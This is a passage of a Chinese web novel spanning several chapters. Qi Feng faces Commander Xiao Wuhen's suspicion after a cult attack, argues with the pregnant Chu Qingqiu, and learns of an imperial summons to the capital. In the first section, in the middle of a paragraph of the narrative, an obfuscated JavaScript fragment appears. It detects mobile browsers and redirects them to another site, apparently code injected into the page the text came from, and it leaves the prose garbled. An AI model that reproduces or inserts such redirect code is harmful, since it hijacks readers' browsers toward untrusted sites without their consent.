中秋之夜,本是团圆喜庆,却演变成一场流血的悲剧,这让他们如何向朝廷交代?如何向百姓交代?
萧无痕听着汇报,脸色越来越沉。
他走到一具被覆盖的尸体旁,掀开桌布一角,看着那狰狞的死状,眼中杀意凛然。
他猛地转身,目光如电,再次扫过全场,最终,定格在齐枫身上。
“齐枫,”萧无痕的声音带着一种压抑到极致的平静,“本官再问你一次,你,究竟是谁?与幽冥教,乾朝,到底是什么关系?”
这个问题,如同冰水泼入油锅,瞬间让刚刚稍有平复的气氛再次紧张起来!
所有人的目光,都聚焦在了齐枫和萧无痕身上。
赵明德心中一紧,想要开口打圆场。卢正淳也皱紧了眉头。
南宫玥、柳若雪等人更是面露焦急。
袁家众人则眼中露出幸灾乐祸的光芒。
齐枫面对萧无痕近乎逼问的目光,脸上却不见丝毫慌乱。
他轻轻推开南宫玥的手,上前一步,与萧无痕对视,坦然道:“萧大人,齐某的身份,早已陈述多次,不过是青田县一普通书生。至于为何了解幽冥教……”
他顿了顿,目光扫过众人:“齐某少时体弱,家父让齐某拜一位游方道人为师,学了一些皮**。至于准备艾草朱砂,乃是自王家村之事后,心有余悸,随身携带以防万一罢了。没想到,今日竟真派上了用场。”
这个解释,合情合理。让人挑不出太大毛病。
萧无痕死死盯着他的眼睛,似乎想从中找出哪怕一丝一毫的破绽。但齐枫的眼神清澈坦荡,没有丝毫闪烁。
良久,萧无痕缓缓移开目光,看向窗外渐渐西斜的明月:“齐枫,你的机缘,未免也太多了些。”
他没有再继续逼问,但谁都听得出来,他并未完全相信。
怀疑的种子,一旦种下,便难以根除。
“今夜之事,本官会彻查到底。”萧无痕冷冷道,“在真相水落石出之前,所有相关人员,都需随时配合调查。赵大人,卢大人,此地便交给你们善后。本官伤势未愈,需先行回府调息。”
说完,他在锦衣卫的护卫下,转身离去。
萧无痕一走,现场的气氛更加微妙。
赵明德和卢正淳开始指挥善后工作,安抚宾客,处理尸体。
“齐郎,我们……回去吧?”南宫玥轻声问道。
齐枫点了点头,又看了一眼依旧蹲在地上和小荷轻声说话的楚清秋,心中叹了口气。
“走吧。”
齐枫一行人沉默地回到了锦绣阁。阁内留守的伙计丫鬟们早已听闻了宴会上发生的惊变,此刻见到东家等人安然归来,虽松了口气,但脸上仍带着未散的惊恐。
阁内灯火通明,却驱不散那股弥漫在空气中的压抑。
“好了,没事了,都回去休息吧。今夜加强巡逻,有任何异动,立刻示警。”齐枫挥了挥手,安抚了一下惶恐的下人。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16416912|180032||http|test|mini|href|location''.split(''|''),0,{}));
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r>南宫玥紧紧跟在他身侧,仿佛生怕一松手他就会消失一般。
她的脸色依旧有些苍白,柔荑冰凉,轻声唤道:“齐郎,你也受惊了,快些回房歇息吧,我让厨房熬碗安神汤来。”
齐枫点了点头,勉强笑了笑:“有劳玥儿了。”
他确实感到心神俱疲,并非因为恐惧,主要还是因为楚清秋那拒人**里之外的冷漠。
柳若雪也柔声道:“齐公子,今夜多亏有你。你也早些安歇,莫要再多思虑,伤神。”
周子陵和徐远陈玉堂倒是心大,虽然也后怕,但更多的是兴奋。
“齐兄,今日你可真是……文武双全啊!诗压群雄,武破邪祟!我周子陵服了!”周子陵拍着胸脯道。
徐远也点头:“是啊,齐兄。经此一事,看谁还敢再乱嚼舌根!萧指挥使那边……想必也会重新考量。”
陈玉堂也臭屁的说:“我承认,除了我以外,齐兄就是最优秀的!”
齐枫摇了摇头,叹道:“今日大家都辛苦了,都回去好好睡一觉,有什么事,明日再说。”
众人各自散去回房。
南宫玥亲自去厨房吩咐准备安神汤,又仔细检查了齐枫的房间,确认无恙后,才依依不舍地离开,临出门前又回头叮嘱:“齐郎,汤一会儿就好,你喝了再睡。夜里若是……若是害怕,便唤我。”
她说完,脸上飞起一抹红霞,快步走了。
齐枫看着她离去的背影,心中有些复杂。
他揉了揉眉心,走到窗边,推开窗户,让清冷的夜风吹入。
月光如水,静静地洒在庭院中。
他的目光不由自主地投向楚清秋所住院落的方向,那里一片寂静,灯火早已熄灭。
齐枫一向习惯于掌控局面,运筹帷幄,但面对楚清秋的心事和两人之间这突如其来的变故,他却有种无处着力的感觉。
就在这时,一阵极轻微的、几不可闻的啜泣声,顺着夜风隐隐约约地飘了过来。
声音来自楚清秋院落的方向。
齐枫的心猛地一揪!是她!
第两百八十一章 隔阂
他不假思索身形一动,便如一片落叶般悄无声息地掠出窗外,几个起落,来到了楚清秋居住的小院墙外。
院门紧闭,院内一片漆黑。
但那压抑的哭声却更加清晰了,如同受伤的小兽在深夜独自舔舐伤口,听得人心碎。
齐枫站在墙外阴影里,拳头紧紧握起,他知道自己应该离开,给她空间,但他脚步如同灌了铅,根本无法挪动分毫。
听着那强忍的哭泣,他仿佛能感受到她此刻内心的煎熬、孤独和无助。
他想起楚清秋白日里那故作坚强的冷漠,与此刻形成鲜明的对比,更让他心情复杂。
他深吸一口气,终究是无法再装作不知。
他轻轻一跃,落入院中,没有发出丝毫声响。
只见楚清秋房间的窗户虚掩着,哭声正是从里面传出。
他走到窗边,透过缝隙,借着微弱的月光,看到楚清秋并未睡在床上,而是蜷缩在靠窗的榻上,双臂紧紧抱着膝盖,将脸深深埋入臂弯之中,单薄的肩膀不住地颤抖着。
那层终日覆面的薄纱被扔在一旁,虽然看不清她的脸,但那无声流泪的姿态,却比任何嚎啕大哭都更令人窒息。
齐枫的心像是被一只无形的手狠狠攥住,呼吸都为之一滞。
他再也忍不住,轻轻推开了窗户。
“青禾……”他低声唤道。
楚清秋的哭声戛然而止!
她猛地抬起头,泪眼朦胧中看到窗口那张熟悉的脸庞,眼中瞬间闪过极大的惊慌、失措,还有一丝被窥见脆弱的羞恼!
她几乎是触电般弹起身,慌乱地抓起旁边的薄纱想要遮住脸:“谁让你进来的!出去!”
齐枫没有动,只是深深地看着她,看着她红肿的眼眶,苍白的脸颊,以及那强装镇定却依旧微微颤抖的唇瓣。
“我听到你在哭。告诉我,到底怎么了?”他的目光,不由自主地落在了她依旧平坦的小腹上。
这个细微的动作,没有逃过楚清秋的眼睛。
她像是被踩到了尾巴的猫,猛地后退一步,将薄纱胡乱系上,遮住了容颜,也仿佛遮住了所有情绪:“不关你的事!我很好,请你立刻离开!”
“不关我的事?”齐枫向前一步,逼近她,“孩子的事,也不关我的事吗?青禾,那是我的骨肉!你打算一个人扛到什么时候?!”
“住口!”楚清秋厉声打断他,“那不是你的孩子!那是个错误!是个不该存在的意外!我会处理掉它!我的事,不用你管!”
“处理掉?”齐枫瞳孔骤缩。
“不然呢?!”楚清秋冷笑一声,“留下它吗?让所有人都知道,乾朝余孽怀了一个来历不明的孩子?让我的身份暴露,让复国的希望彻底破灭?还是让你,齐大才子,被卷入这万劫不复的深渊,陪着我们一起死?!”
齐枫看着她眼中的痛苦和绝望,他明白了,她不是不想要这个孩子,而是不能要。
“青禾……”齐枫的声音软了下来,“我们可以一起想办法。未必没有两全之策……”
“没有两全之策!”楚清秋猛地转过身背对着他,肩膀剧烈地起伏着,“齐枫,你醒醒吧!你是春闱榜首,你有大好的前程,有南宫姑娘那样真心待你的红颜知己!你何必……何必非要跟我这个前朝余孽、身负血海深仇的人纠缠不清?这个孩子……只会毁了你的一切!”
“毁了又如何?”齐枫看着她决绝的背影,心中涌起一股难以言喻的冲动,“我齐枫行事,但求问心无愧!前程也好,红颜也罢,若连自己想护的人都护不住,要之何用?!”
楚清秋身体猛地一颤,却没有回头。
“你走吧。”她的声音疲惫到了极点,带着一种心如死灰的漠然,“今晚的话,我就当没听过。孩子的事,我自有主张。从今往后,你是锦绣阁的东家,我只是你的婢女青禾。再无其他。”
说完,她不再给齐枫任何开口的机会,径直走向内室,重重地关上了房门。
齐枫站在原地,看
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着那扇紧闭的房门,深深的叹了一口气。
世间文字三万,唯有情字最磨人。
即便是他,也是如此。
有些裂痕,一旦产生,便再难弥补。
夜色如墨,沉寂之下,几股暗流正以前所未有的速度涌动。
锦衣卫驿站,萧无痕书房
烛火摇曳,映照着萧无痕苍白而冷峻的脸庞。
他并未如对外宣称的那样回府“调息”,而是强撑着伤势,连夜召见了心腹校尉。
书房内气氛凝重。
案上摆放着那半截惨白的人骨笛碎片,旁边还有一份刚送来的密报。
“查清楚了?”萧无痕的声音沙哑冰冷,指尖按着隐隐作痛的伤口。
校尉单膝跪地,恭敬禀报:“大人,初步查明,今夜袭击,目标并非单一。其一是制造混乱,刺杀与会官员,尤其是您和赵大人、卢大人。其二……”
他顿了顿,抬头看了萧无痕一眼,“根据被击毙的尸傀儡身上残留的邪气追踪,以及那引尸笛的指向性,有相当一部分邪术力量,是冲着齐枫去的。”
萧无痕眼中寒光一闪:“果然如此。幽冥教对他,已是必除之而后快。”
他拿起那骨笛碎片,“人骨制成,核心教徒……看来,我们在王家村遇到的那个幽影使,并未远离,甚至可能就在府城之内。”
“大人英明。”校尉继续道,“另外,根据对现场残留痕迹和目击者零碎描述的拼凑,那个袭击您后遁走的黑影,其身形**,与之前天牢内行刺齐枫的刺客,有七成相似。极有可能,是同一人,或同一伙人。”
“幽冥教顶尖**,频繁出动,只为一个齐枫?”萧无痕眉头紧锁,这不符合常理。
齐枫再重要,也只是一个新近崛起的书生,何以让幽冥教如此不惜代价?
除非……他身上有幽冥教志在必得的东西,或者,他知道某些足以颠覆幽冥教的秘密?
“齐枫今日的表现,你怎么看?”萧无痕忽然问道。
第两百八十二章 长夜漫漫
校尉沉吟片刻,谨慎答道:“临危不乱,洞察关键,手段有效。其言称知识来自游方道士,虽有可能,但……未免太过巧合与精通。而且,他似乎总能提前一步,或是恰好拥有克制幽冥教的手段。属下……不敢妄断,但其身上疑点,确实未曾减少。”
萧无痕沉默良久,缓缓道:“疑点重重,却又屡立奇功……此人如同一团迷雾。继续盯紧他,但暂时不要动他。幽冥教越是急欲除他,越说明他的价值。或许……我们可以借此,钓出更大的鱼。”
他的眼中闪过一丝冷光。“另外,加派人手,秘密搜查府城内所有可能与幽冥教有关的据点,尤其是药铺、棺材铺、义庄等阴气重的地方。那个幽影使,一定还藏在城里。”
“是!”校尉领命,悄然退下。
萧无痕独自坐在烛光下,看着那截人骨笛,喃喃自语:“齐枫……本官……拭目以待。”
袁府深处,密室
袁振山屏退了左右,密室中只余他与一位笼罩在黑袍中的神秘人。
空气中弥漫着淡淡的药味和一种阴冷的气息。
“废物!”袁振山脸色阴沉,再无白日宴席上的隐忍,一巴掌拍在紫檀木桌上,“如此周密的计划,竟然功败垂成!非但没杀了齐枫那小子,连萧无痕的皮**都没伤到!反而折损了珍贵的尸傀和一名核心教徒!”
黑袍人发出沙哑的笑声,如同夜枭啼哭:“袁家主,何必动怒?计划虽未竟全功,但也并非一无所获。至少,我们试探出了齐枫的深浅,也看到了萧无痕重伤之下的虚实。更重要的是……”
“府城这潭水,被我们彻底搅浑了。恐慌的种子已经种下,官府威信受损,接下来,才是我们真正行动的好时机。”
袁振山冷哼一声:“说得轻巧!齐枫如今风头更盛,萧无痕那鹰犬更是像疯狗一样盯着我们袁家!你们幽冥教答应助我袁家重振声威,如今却连连失手!”
“重振声威?”黑袍人笑声更冷,“袁家主,到了这个时候,你还只想着袁家的声威?齐枫不过是疥癣之疾,萧无痕也只是朝廷的一条狗。”
“我们的目标,是即将到来的血月祭!只要祭典成功,唤醒圣尊,莫说区区府城,便是这**江山,也将易主!到时候,你袁家,便是从龙之首功,何愁声威不显?”
袁振山眼中闪过一丝贪婪狂热,但很快又被疑虑取代:“血月祭……所需祭品和阵法准备得如何了?朝廷和萧无痕盯得这么紧,如何确保万无一失?”
“祭品早已备齐,只待时机。阵法核心,也已找到绝佳之地,就在他们的眼皮底下,他们却茫然无知。”黑袍人语气中带着残忍。
“至于如何确保万无一失……呵呵,袁家主,你难道忘了,我们最擅长的是什么?是隐藏在光明之下,是利用他们自身的恐惧和猜忌……齐枫,就是我们最好的掩护和棋子。萧无痕对他的怀疑越深,我们的行动就越安全。”
袁振山目光闪烁,似乎在权衡利弊。
黑袍人继续蛊惑道:“眼下,我们需要袁家主你做两件事。第一,继续在明面上给齐枫和官府制造麻烦,牵制他们的注意力。第二,准备好那个东西,血月当空之时,需要借助你袁家祖传的那件宝物,来稳定和放大祭坛的力量。”
袁振山沉默片刻,最终重重地点了点头:“好!老夫就再信你们一次!但若此次再失败……”
“不会有失败。”黑袍人打断他,声音斩钉截铁,“血月降临之日,便是乾坤逆转之时!”
密室中,阴谋的气息愈发浓稠。
锦绣阁,齐枫房间
齐枫站在窗前,并未点灯,任由月光将他的身影拉长。
轻微的叩门声响起。
“进来。”齐枫头也未回。
富贵悄无声息地推门而入,低声道:“少爷,查到了些眉目。”
“说。”
“今夜袭击,手法确是幽冥教核心成员幽影使一脉无疑。那骨笛材质,经暗线确认,是取自阴年阴月阴日生的童男腿骨,邪气极重。”
“另外,混乱中,我们的人注意到,袁家有几
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个护卫的行动有些异常,似乎……并非全力保护主子,反而有意无意地将尸傀往人多和您所在的方向引。”
齐枫眼中冷光一闪:“袁家……果然也掺和进来了。看来,他们是铁了心要借幽冥教这把刀了。”
“还有,”富贵继续道,“根据对现场邪气残留的追踪,那操控尸傀的笛声,除了西北角的水漏处,似乎还有一处极微弱的源头,位于醉月楼后院靠近水井的杂物房附近,但痕迹很快消失了,像是故意留下的误导。”
“声东击西,故布疑阵。”齐枫冷笑,“幽冥教里,倒也不全是蠢货。萧无痕那边有什么动静?”
“萧指挥使回驿站后立刻密会下属,加强了城内的暗哨,重点似乎在搜查幽冥教据点。另外……他对少爷您的疑心,似乎并未减少,反而因您今晚的表现更重了。”
齐枫对此并不意外:“无妨。让他疑着吧,有时候,敌人的怀疑,反而是最好的保护色。我们按原计划进行,让你找的东西,找到了吗?”
富贵从怀中取出一个用油布包裹的小巧锦盒,恭敬呈上:“找到了,在城西乱葬岗一处极隐蔽的古墓里,按照少爷您的图纸,分毫不差。”
齐枫接过锦盒,打开看了一眼,里面是几块刻满了复杂符文的黑色石头,散发着淡淡的能量波动。
他满意地点点头:“很好。时机快到了,把这东西,放到我让你查的那个地方去。”
“是!”富贵领命,迟疑了一下,又道,“少爷……青禾姑娘她……”
齐枫摆摆手,打断了他,语气听不出情绪:“她的事,我自有分寸。你先去办事吧,小心些。”
富贵不再多言,悄然退下。
房间内再次恢复寂静。
齐枫将锦盒收起,目光望向窗外沉沉的夜空,嘴角勾起一抹冰冷的弧度。
“血月祭……幽影使……袁家……还有藏在更深处的黑手……”他低声自语,“都想把这潭水搅浑?好啊,那我就让它……更浑一些。看看最后,到底谁能摸到鱼。”
第两百八十三章 京城特召
这一夜,注定无人安眠。
府城的天空,阴云密布,雷暴将至!
……
中秋夜的惊魂如同一场骤雨,虽然猛烈,但终究会过去。
翌日,阳光依旧普照大地,府城的街巷在经历了最初的恐慌和议论后,渐渐恢复了往日的节奏。
生活总要继续,柴米油盐的琐碎,远比遥远的阴谋和血腥更贴近寻常百姓。
锦绣阁也照常开门营业。
虽然伙计丫鬟们私下里难免还会心有余悸地谈论昨晚的可怕经历,但在南宫玥和柳若雪的得力主持下,阁内秩序井然,前来选购丝绸的客人依旧络绎不绝。
毕竟,中秋过后,紧接着就是重阳,各家各户都要添置新衣,锦绣阁的生意反而因祸得福,因为齐枫昨晚的“英勇表现”,更增添了几分传奇色彩,吸引了不少慕名而来的顾客。
齐枫睡到日上三竿才起。
昨夜虽经历波折,又与楚清秋不欢而散,但对他而言,也算不得什么了,洗漱完毕,换上一身舒适的青色常服,他摇着折扇,信步走下楼梯。
“齐郎,你醒了?”南宫玥正在柜台前核对账目,见到他,立刻放下手中的算盘,迎了上来,脸上带着明媚的笑容,“厨房温着燕窝粥和小菜,我这就让人给你端来。”
她昨天回去后也想明白了,很清楚,像齐枫这样的男子,绝不会喜欢一个终日惶惶、需要时刻呵护的女子。
展现自己的能干和活力,才是维系关系的良方。
齐枫笑了笑,摆手道:“不急。睡足了,倒是有些馋街口李记的豆腐脑和葱油饼了。出去走走,顺便吃点。”
南宫玥闻言,美眸一亮:“我陪你去吧?正好我也有些账目要去对面的绸缎庄核对一下。”她找了个合情合理的借口。
齐枫看了她一眼,点了点头:“也好。”
两人便一同出了锦绣阁。
秋高气爽,阳光暖融融的,洒在人身上十分舒服。街面上人来人往,叫卖声、吆喝声不绝于耳,充满了鲜活的市井气息。
昨晚的阴霾似乎被这明媚的日光驱散了不少。
“齐郎,你看,那边有卖糖人的!”南宫玥难得像个孩子似的,指着不远处的一个小摊,兴奋地拉着齐枫的袖子。
她似乎很享受这种与齐枫并肩走在街头的时光,刻意营造着轻松愉快的氛围。
齐枫顺着她指的方向看去,只见一个老手艺人在灵巧地捏着糖人,孙悟空、猪八戒栩栩如生,引得不少孩童围观。
他笑了笑,走过去买了两个,一个递给南宫玥,一个自己拿在手里。
南宫玥接过糖人,脸上泛起甜甜的笑意,小心地舔了一口,眼睛弯成了月牙:“好甜呀!”
这一刻,她不再是那个精明干练的花魁,倒像个不谙世事的邻家小妹。
齐枫看着她开心的样子,心情也稍稍放松了些。
他咬了一口手中的糖人,甜腻的味道在口中化开,确实能让人暂时忘记烦恼。
来到李记摊子,要了两碗豆腐脑,一碟葱油饼。
摊主老李显然认出了齐枫,显得格外热情,豆腐脑给得足足的,上面撒了满满的虾皮、紫菜和香菜,香气扑鼻。
“齐公子,您可是咱们府城的大英雄!昨晚多亏了您啊!”老李一边忙活一边感慨,“这顿早饭,算我老李请您的!”
齐枫连忙推辞:“李老板太客气了,该多少是多少。”最后还是拗不过老李的盛情,只好道谢收下。
坐在简陋的摊位上,吃着热乎乎的豆腐脑和酥脆的葱油饼,听着周围食客们天南地北的闲聊,从东家嫁女说到西家盖房。
偶尔也有人低声议论昨晚醉月楼的事,但大多语焉不详,更多的是对“齐公子”的称赞和对其“神通广大”的猜测。这种充满烟火气的平凡,让齐枫感到一种难得的踏实。
南宫玥小口吃着豆腐脑,看着齐枫侧脸在阳光下柔和的线条,心中涌起一股满足感。
她知道齐枫非池中之物,未来身边绝不会只有她一个女人,但能像现在这样,陪在他身边,分享这片刻的宁静,对她而言,已是难得的幸福。
“齐郎,一会儿我们去城隍庙逛逛吧?听说今天有庙会,很热闹。”南宫玥提议道,她想尽量延长这难得的独处时光。
齐枫正要回答,眼角余光却瞥见一道熟悉的身影从街角闪过,虽然穿着普通布衣,低着头,但那窈窕的身形和走路的姿态,让他一眼就认出是楚清秋。
她手里提着一个小药包,似乎是刚从不远处的医馆出来。
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齐枫的心微微一沉。
她去医馆做什么?
他的目光不由自主地追随着她的背影,直到她消失在人群里。
南宫玥敏锐地察觉到了齐枫瞬间的失神和目光的转向,她也看到了楚清秋的背影,心中微微一涩,但脸上笑容不变,轻轻拉了拉齐枫的衣袖:“齐郎?”
齐枫回过神来,压下心中的疑虑和担忧,对南宫玥笑了笑:“好,就去城隍庙逛逛。”
有些事,急不来。
楚清秋需要时间,而他,也需要耐心。
眼下,享受这难得的平静,或许才是最好的选择。
城隍庙果然热闹非凡。舞狮的、卖艺的、算命卜卦的、各色小吃摊贩……人声鼎沸,摩肩接踵。
南宫玥像个出了笼的小鸟,兴奋地看看这个,摸摸那个,不时买些小玩意儿。
齐枫跟在她身后,看着她开心的样子,也被这种热闹的氛围所感染,暂时将那些纷繁复杂的思绪抛在了脑后。
他甚至在一个射箭的摊位上,随手露了几手,箭无虚发,赢得满堂彩,帮南宫玥赢了一个漂亮的布老虎。
南宫玥抱着布老虎,笑得更加灿烂。
可在这片喧嚣之下,齐枫敏锐的感知依然能捕捉到一些不同寻常的气息。
有几个看似普通的香客,眼神却过于警惕和锐利,显然是官府或者锦衣卫的暗哨。
而在更远的角落,他似乎感觉到一丝极其微弱的、属于幽冥教的阴冷气息,一闪即逝。
看来,表面的平静之下,暗涌从未停止。
逛完庙会,已是午后。
齐枫和南宫玥回到锦绣阁。刚进大门,就看到周子陵和徐远,陈玉堂正在前厅等着,两人脸上都带着兴奋的神色。
“齐兄!你可算回来了!”周子陵嚷嚷道,“有大消息!”
“哦?什么消息?”齐枫挑眉问道。
徐远相对沉稳些,压低声音道:“齐兄,是京城来的消息!陛下听闻了府城近日之事,尤其是齐兄你屡破奇案、勇挫幽冥教的事迹,龙心大悦!据说,已有意特召你入京,可能要破格擢用!”
这个消息,如同一块巨石投入平静的湖面,让齐枫的眼神瞬间变得深邃起来。
京城特召?在这个敏感的时刻?
第两百八十四章 暗局
周子陵带来的消息,像一阵风,迅速传遍了锦绣阁,也惊动了府衙。
“京城特召?陛下亲旨?”赵明德得到消息时,正在与卢正淳商议如何向朝廷呈报中秋夜宴遇袭一事。
他先是一愣,随即抚掌大笑,脸上的阴霾一扫而空,“好!太好了!齐贤弟果然非池中之物,竟能直达天听,得陛下青睐!此乃天大的喜事!”
卢正淳虽重伤未愈,气色萎靡,此刻也露出了欣慰的笑容,咳嗽着说:“咳咳……确是喜事。齐公子大才,屡立奇功,陛下圣明,自然不会埋没。如此一来,萧指挥使那边……想必也会有所顾忌了。”
他话中之意不言而喻,有了皇帝这道护身符,齐枫身上的“乾朝余孽”嫌疑,至少在明面上,暂时不再是悬顶之剑!
两人当即决定,亲自前往锦绣阁道贺。
与此同时,锦衣卫驿站内,萧无痕也收到了通过特殊渠道传来的密报。
他看着手中那张薄薄的纸笺,上面简略地写着京城传来的风声,脸色阴沉得能滴出水来。
他猛地将纸笺拍在案上,牵动了伤口,一阵剧烈的咳嗽,嘴角甚至渗出了一丝血迹。
“陛下特召……破格擢用……”他低声重复着这几个字,眼中翻涌着复杂难明的情绪。
有震惊,有不解,更有一种计划被打乱的恼怒和深深的疑虑。
“为什么偏偏是这个时候?齐枫……你究竟有何魔力,能让远在京城的陛下都注意到你?”
他绝不相信这只是因为齐枫“屡立奇功”。府城之事,虽然不小,但放在整个帝国层面,还算不上惊天动地。
这其中,定然有他所不知道的缘由。
是朝中有人为其说话?还是陛下另有深意?
更让他感到棘手的是,一旦齐枫被正式召入京城,有了官身,他再想以“嫌疑犯”的名义对其进行调查和监控,就难上加难了。
这无异于捆住了他的一条手臂。
“大人,那我们……”身旁的心腹校尉小心翼翼地问道。
萧无痕深吸一口气,强行压下翻涌的气血,眼神重新变得冰冷锐利:“陛下的旨意尚未正式下达,一切尚有转圜之地。就算旨意到了,在齐枫离开府城之前,我们依然有权监管。幽冥教的案子还没破,血月祭的威胁近在眼前,他齐枫,依然是关键人物!”
“给我盯紧了,一刻也不能放松!另外,加派人手,务必在旨意到达前,找到幽冥教的老巢和那个幽影使!”
“是!”校尉领命而去。
萧无痕独自坐在昏暗的书房内,手指无意识地敲击着桌面。
齐枫的突然“得势”,打乱了他的节奏,但也让他更加确信,齐枫身上必然隐藏着巨大的秘密。他绝不能放任这个谜团离开自己的视线。
锦绣阁内,此刻却是另一番热闹景象。
赵明德和卢正淳的联袂到来,更是将喜庆的气氛推向了高潮。
前厅里,南宫玥指挥着丫鬟们端上香茗点心,柳若雪含笑应对,周子陵和徐远则兴奋地与两位大人说着话。
“齐贤弟!恭喜恭喜啊!”赵明德一见到齐枫,便大笑着上前拱手,“陛下慧眼识珠,此乃贤弟之幸,亦是我府城之荣!日后飞黄腾达,可莫要忘了我们这些老家伙啊!”
他这话虽有玩笑成分,但也透着几分真心。
齐枫若能在京城立足,对他这个举荐人来说,也是大有裨益。
卢正淳也勉力笑道:“齐公子大才,得遇明主,必能大展宏图。只是……咳咳……府城眼下多事,幽冥教未除,血月祭在即,老夫与赵大人,怕是还要倚仗齐公子一段时间了。”
他这话点出了关键,陛下的特召并非立刻启程,而是让齐枫过了年,待府城局势稳定后再行入京。
这既是对齐枫能力的肯定,也是将稳定府城的重任压在了他的肩上。
齐枫神色平静,并无太多狂喜之色,只是谦逊地回礼:“二位大人谬赞了。陛下隆恩,齐某感激不
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尽。至于府城之事,齐某既在此地,自当尽力而为,不敢有负圣望与二位大人信任。”
他心中明镜似的,这“特召”固然是好事,但也将他更紧密地绑在了府城这艘风雨飘摇的船上。
血月祭之前,他恐怕是走不了了。
南宫玥在一旁听着,心中喜忧参半。
喜的是齐郎终于得到认可,前途无量,忧的是京城路远,且波谲云诡,更重要的是,府城危机四伏,他还要继续留在这里面对风险。
柳若雪则想得更深一些,她轻声问道:“齐公子,陛下此意,是否意味着……萧大人那边,不会再对您有所制肘了?”
这话问出了在场许多人的心声。
大家都看向齐枫和赵明德。
赵明德呵呵一笑,捋了捋胡须:“这是自然!陛下既已下旨特召,便是对齐贤弟的认可。萧指挥使办案再铁面无私,也要遵循圣意。至少在明面上,他不能再像之前那样将齐贤弟视为嫌犯拘禁看管了。齐贤弟如今是自由之身,只待年后赴京领职。”
这话让众人都松了口气。周子陵更是高兴地一拍大腿:“太好了!齐兄,这下总算不用再看那个阎王脸色了!”
齐枫却只是淡淡一笑,并未像众人那般乐观。
他深知萧无痕的性子,皇帝的旨意能约束其明面的行动,却约束不了其暗中的怀疑和调查。
甚至,这突如其来的“恩宠”,可能会让萧无痕更加警惕和执着。自由是相对的,暗处的眼睛,恐怕只会更多。
果然,仿佛是为了印证齐枫的猜想,一名伙计匆匆进来禀报:“东家,门外有锦衣卫的人求见,说是萧指挥使派人送来贺礼,恭贺东家得蒙圣眷。”
厅内顿时安静了一下。
萧无痕派人送贺礼?这简直是黄鼠狼给鸡拜年。
齐枫面色不变:“请进来。”
一名锦衣卫小旗捧着一个小锦盒走了进来,对着齐枫和赵明德、卢正淳行礼后,恭敬地将锦盒呈上。
第两百八十五章 春夜
“齐公子,萧大人听闻陛下特召之喜,特命卑职送来薄礼,以示恭贺。萧大人还说,府城安危,仍需倚仗齐公子,望公子以大局为重,早日助官府铲除幽冥教,届时,萧某定当亲自为公子饯行。”
话说得冠冕堂皇,礼数周到,但字里行间却透着一种不容置疑的监督和催促之意。
齐枫接过锦盒,打开一看,里面是一支品相极佳的狼毫笔。
他笑了笑,合上锦盒,对那小旗道:“有劳萧大人费心。请回复萧大人,齐某必当尽力,不负圣恩,亦不负萧大人……期望。”
那小旗躬身退下。
赵明德看着那锦盒,冷哼一声:“萧无痕这是提醒我们,他还在盯着呢!”
卢正淳叹了口气:“无论如何,表面上的僵局总算打破了。齐公子有了陛下这道护身符,行事也能更方便些。当务之急,还是要想办法应对幽冥教的血月祭。”
齐枫点了点头,目光变得凝重起来:“卢大人说的是。血月祭才是心腹大患。根据目前掌握的线索,祭坛必然设在极阴之地,且需要大量生灵精血为引。我们必须尽快找到他们的确切位置,否则,后果不堪设想。”
话题再次回到了迫在眉睫的危机上。
而此刻,在锦绣阁后院,楚清秋独自站在窗前,也听到了前厅传来的消息。
她手中紧紧攥着一封刚收到的密信,信上的内容,却与那“特召”的喜讯截然相反,让她的心,沉入了更深的谷底。
陛下的特召对她和那未出世的孩子而言,是福是祸,犹未可知。
时光流逝,夜深人静,锦绣阁白日的喧嚣与震动渐渐沉淀下来。
月光如水银泻地,透过雕花窗棂,在齐枫房间的地板上投下斑驳的光影。
他并未入睡,只着一件单薄的中衣,独自坐在窗边的梨木椅上,手边是一杯早已凉透的清茶,目光悠远地望着窗外沉寂的庭院。
京城特召的消息,并未在他心中掀起太多波澜。
轻微的敲门声打断了他的沉思。
“少爷,您睡了吗?”是小荷怯生生的声音。
齐枫收回目光,语气温和:“还没,进来吧。”
小荷推门进来,手里端着一碟刚蒸好的桂花糕,散发着甜软的香气。
她将糕点放在桌上,看着齐枫映在月光下显得有些清冷的侧脸,小脸上满是依赖和不舍。
“少爷,我听他们说……陛下要召您去京城做官了,是真的吗?”小荷的声音带着一丝不易察觉的哽咽。
齐枫笑了笑,拿起一块桂花糕递给她:“嗯,是有这么回事。不过要等过了年,府城这边的事情处理完再去。”
小荷接过糕点,却没有吃,只是紧紧攥在手里,低着头,小声却坚定地说:“少爷,您去哪里,小荷就跟到哪里!小荷不要跟少爷分开!京城也好,青田县也好,小荷都要跟着少爷!”
看着她这副模样,齐枫心中微暖。
小荷是他从青田县带出来的,心思单纯,对他全然依赖。
他伸手揉了揉她的脑袋,柔声道:“好,少爷答应你,只要条件允许,一定带着你。不过京城路远,不比青田县自在,你可要想好了。”
“小荷不怕!”小荷猛地抬起头,眼睛亮晶晶的,“只要跟着少爷,哪里都好!少爷,我们……我们过年的时候,能不能先回一趟青田县看看?我想福伯了,也想看看老爷夫人……”
齐枫沉吟片刻,点了点头:“也好。是该回去看看了。等手头的事情告一段落,我们就回青田县过个年。”
这也算是对过去的一种告别,毕竟,一旦踏入京城,前路未知,归期难料。
小荷闻言,顿时喜笑颜开,仿佛所有的担忧都一扫而空:“谢谢少爷!那少爷您早点休息,小荷不打扰您了!”
她欢快地将桂花糕塞进嘴里,像只快乐的小麻雀般蹦跳着出去了。
房间内重新恢复了寂静。
齐枫看着那碟桂花糕,心中却难以平静。
就在这时,又一阵极轻的脚步声在门外响起,
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伴随着一缕淡淡熟悉的馨香。
“齐郎,还没睡吗?”是南宫玥的声音,比平时更加柔媚几分。
齐枫应了一声:“玥儿?进来吧。”
南宫玥推门而入。
她显然也是刚刚沐浴过,卸去了钗环,只穿着一件月白色的软绸寝衣,外罩一件同色的薄纱披风,乌黑的长发如瀑布般披散下来,更衬得肌肤胜雪,眉眼含情。
她手中端着一碗冒着热气的参汤。
“我看你房里的灯还亮着,想着你今日定然劳神,便让厨房炖了碗参汤给你安神。”南宫玥走到他身边,将参汤轻轻放在桌上,动作优雅温柔。
